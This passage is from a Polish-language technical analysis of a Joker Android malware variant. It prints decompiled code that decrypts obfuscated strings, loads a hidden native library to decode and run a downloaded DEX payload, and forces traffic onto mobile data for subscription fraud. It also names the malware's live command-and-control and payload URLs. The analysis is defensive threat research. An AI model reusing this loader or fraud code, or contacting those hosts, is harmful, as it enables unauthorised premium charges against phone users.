            &lt;span class="n"&gt;BeautySoft&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;open&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;entitytype&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;onError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;73&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;65&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;81&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;73&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;119&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;86&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;77&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;122&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;})),&lt;/span&gt; &lt;span class="n"&gt;requestCallback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;AbstractC0382U abstractC0382U = c0378p.f1052g;&lt;/code&gt;: Ta linia kodu jest odpowiedzialna za wyodrębnienie odpowiedzi serwera przy użyciu metody &lt;code&gt;abstractC0382U.string()&lt;/code&gt;. Następnie odpowiedź jest przekazywana do metody &lt;code&gt;onSuccess()&lt;/code&gt;, która uruchamia komunikat Toast z zaszyfrowanym ciągiem znaków. Ciąg znaków z odpowiedzi serwera jest również przekazywany do funkcji &lt;code&gt;BeautySoft.open((String) entitytype);&lt;/code&gt;, która jest funkcją natywną:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;abstract&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BeautySoft&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AbstractC1835n&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m226m&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;112&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;93&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="p"&gt;}));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;native&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Biblioteka natywna (&lt;code&gt;libphotoset.so&lt;/code&gt;) jest ładowana dynamicznie przy użyciu funkcji &lt;code&gt;System.loadLibrary()&lt;/code&gt;. Nazwa biblioteki jest szyfrowana i deszyfrowana przy użyciu metody &lt;code&gt;AbstractC1835n.m226m()&lt;/code&gt;. Odpowiedź serwera (pokazana w Toaście) jest przekazywana do natywnej metody &lt;code&gt;BeautySoft.open()&lt;/code&gt;. Niestety aktualna wersja pliku APK dostępna w Google Play Store nie zawiera w zasobach natywnej biblioteki &lt;code&gt;libphotoset.so&lt;/code&gt;. Może to wynikać z faktu, iż osoby odpowiedzialne za umieszczanie aplikacji w sklepie Google, na bieżąco aktualizują i zmieniają aplikacje w celu zmniejszenia ryzyka wykrycia przez automatyczne narzędzia. Z naszych informacji wynika również, że poprzednia wersja była dystrybuowana jako xapk, gdzie bilbioteka &lt;code&gt;libphotoset.so&lt;/code&gt; była dostępna.&lt;/p&gt;
&lt;p&gt;Tutaj jednak nasza analiza wcale się nie kończy. Wiemy, że zaszyfrowany ciąg znaków jest przekazywany do metody &lt;code&gt;BeautySoft.open(String str)&lt;/code&gt;, która prawdopodobnie deszyfruje go i uruchamia go dynamicznie jako &lt;code&gt;DEX&lt;/code&gt;. Pozostaje więc ręcznie zdeszyfrować ciąg znaków. W tym miejcu bardzo przydatne okazuje się narzędzie &lt;a href="https://gchq.github.io/CyberChef/"&gt;CyberChef&lt;/a&gt;, przy pomocy którego udało się odszyfrować ciąg znaków i uzyskać odszyfrowany plik &lt;code&gt;DEX&lt;/code&gt;, który zawiera docelowe złośliwe funkcje Jokera. Ciąg znaków z odpowiedzi od &lt;code&gt;kamisatu.top/setting/scenery&lt;/code&gt; zawiera dwie kluczowe informacje. Pierwszą jest bliżej nieokreślony ciąg znaków, a drugą jest adres URL: &lt;code&gt;https://forga.oss-me-east-1.aliyuncs.com/Kuwan&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Biorąc pod uwagę, że nie mamy dostępu do natywnej biblioteki implementującej funkcje &lt;code&gt;BeautySoft.open()&lt;/code&gt;, możemy zakładać, że aplikacja posiada dwie metody "stworzenia" pliku &lt;code&gt;DEX&lt;/code&gt;:
1. odszyfrowanie ciągu znaków zawartego w odpowiedzi
2. bezpośrednie pobranie pliku &lt;code&gt;Kuwan&lt;/code&gt; i odszyfrowanie go.&lt;/p&gt;
&lt;p&gt;Analiza ciągu znaków wykazała, że jest to niestandardowe szyfrowanie. Na tapet wzięliśmy więc plik &lt;code&gt;Kuwan&lt;/code&gt;, który udało się odszyfrować:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cert.pl/uploads/2024/09/6.png"&gt;&lt;/p&gt;
&lt;h2&gt;Analiza techniczna etapu drugiego&lt;/h2&gt;
&lt;p&gt;Odszyfrowany plik &lt;code&gt;Kuwan&lt;/code&gt; w rzeczywistości faktycznie jest docelowym plikem &lt;code&gt;DEX&lt;/code&gt;, co zdaje się potwierdza wstępną teorię, o natywnej metodzie, która odszyfrowuje ciąg znaków/plik pobrany z zewnętrznej strony do pliku &lt;code&gt;DEX&lt;/code&gt; a następnie ładuje i wykonuje go dynamicznie.&lt;/p&gt;
&lt;p&gt;Subskrypcję klasyfikujemy jako oszustwo, gdy odbywa się ona bez zgody użytkownika. W przypadku oszustw związanych z subskrypcjami złośliwe oprogramowanie wykonuje subskrypcję w imieniu użytkownika w taki sposób, że cały proces dzieje się w tle i jest niezauważalny.&lt;/p&gt;
&lt;p&gt;Pierwszą istotną rzeczą wykonywaną przez złośliwe oprogramowanie jeszcze przed głównymi krokami, jest identyfikacja kraju subskrybenta i sieci komórkowej za pomocą kodów MCC i MNC. Oba kody aplikacja pobiera za pomocą klasy &lt;code&gt;TelephonyManager&lt;/code&gt;. Wywołanie API &lt;code&gt;TelephonyManager.getSimOperator()&lt;/code&gt; zwraca kody MCC i MNC jako połączony ciąg znaków&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;MdATElAc&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;TelephonyManager&lt;/span&gt; &lt;span class="n"&gt;telephonyManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TelephonyManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;f33LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSystemService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;phone&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;telephonyManager&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;telephonyManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSimOperator&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Warianty Jokera, które celują w urządzenia z wersją Android 9.0 używają do wyłączenia Wi-Fi metodę setWifiEnabled klasy WifiManager. Natomiast analizowany wariant korzysta z innej &lt;a href="https://developer.android.com/reference/android/net/ConnectivityManager#requestNetwork(android.net.NetworkRequest,%20android.net.ConnectivityManager.NetworkCallback)"&gt;możliwości&lt;/a&gt;, którą jest funkcja &lt;code&gt;requestNetwork&lt;/code&gt; z klasy &lt;code&gt;ConnectivityManagerclass&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;TXbyafmq&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;NetworkRequest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt; &lt;span class="n"&gt;builder&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;NetworkRequest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addCapability&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addTransportType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;requestNetwork&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;C0038BdnLopBC&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="c1"&gt;//public class C0038BdnLopBC extends ConnectivityManager.NetworkCallback&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="n"&gt;ConnectivityManager&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ConnectivityManager&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f75WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getSystemService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;connectivity&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;code&gt;NetworkCallback&lt;/code&gt; służy do monitorowania stanu sieci i pobierania zmiennej &lt;code&gt;networktype&lt;/code&gt;, której następnie można użyć do powiązania procesu z określoną siecią za pośrednictwem funkcji &lt;code&gt;ConnectivityManager.bindProcessToNetwork&lt;/code&gt;. Pozwala to złośliwemu oprogramowaniu na korzystanie z sieci komórkowej, nawet jeśli istnieje połączenie Wi-Fi.&lt;/p&gt;
&lt;p&gt;Zakładając, że operator SIM znajduje się na liście docelowej, a urządzenie korzysta z połączenia mobilnego (co wiemy z poprzedniego kroku), to w następnym kroku malware pobierze listę stron internetowych oferujących usługi premium i spróbuje je zasubskrybować. To, co dzieje się dalej, zależy od sposobu zainicjowania procesu subskrypcji, dlatego złośliwe oprogramowanie zwykle zawiera kod, który może obsługiwać różne przepływy subskrypcji.&lt;/p&gt;
&lt;p&gt;W drugim etapie aplikacja komunikuje się z zewnętrznym serwerem w celu pobrania konfiguracji (w tym adresów URL do subskrypcji). Wykorzystuje ona funkcję &lt;code&gt;C0055MdATElAc WYOdgBxH(Context context, boolean z)&lt;/code&gt; do wysyłania zaszyfrowanych żądań, ukrywając treść komunikacji.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="n"&gt;C0055MdATElAc&lt;/span&gt; &lt;span class="nf"&gt;WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;z&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TextUtils&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isEmpty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0021LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f34MdATElAc&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;JSONObject&lt;/span&gt; &lt;span class="n"&gt;jSONObject&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;JSONObject&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;zubfih&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;valueOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;C0021LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;f36WYOdgBxH&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="n"&gt;jSONObject&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bshwai&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C0021LfUtNUXX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BUjkrPlp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
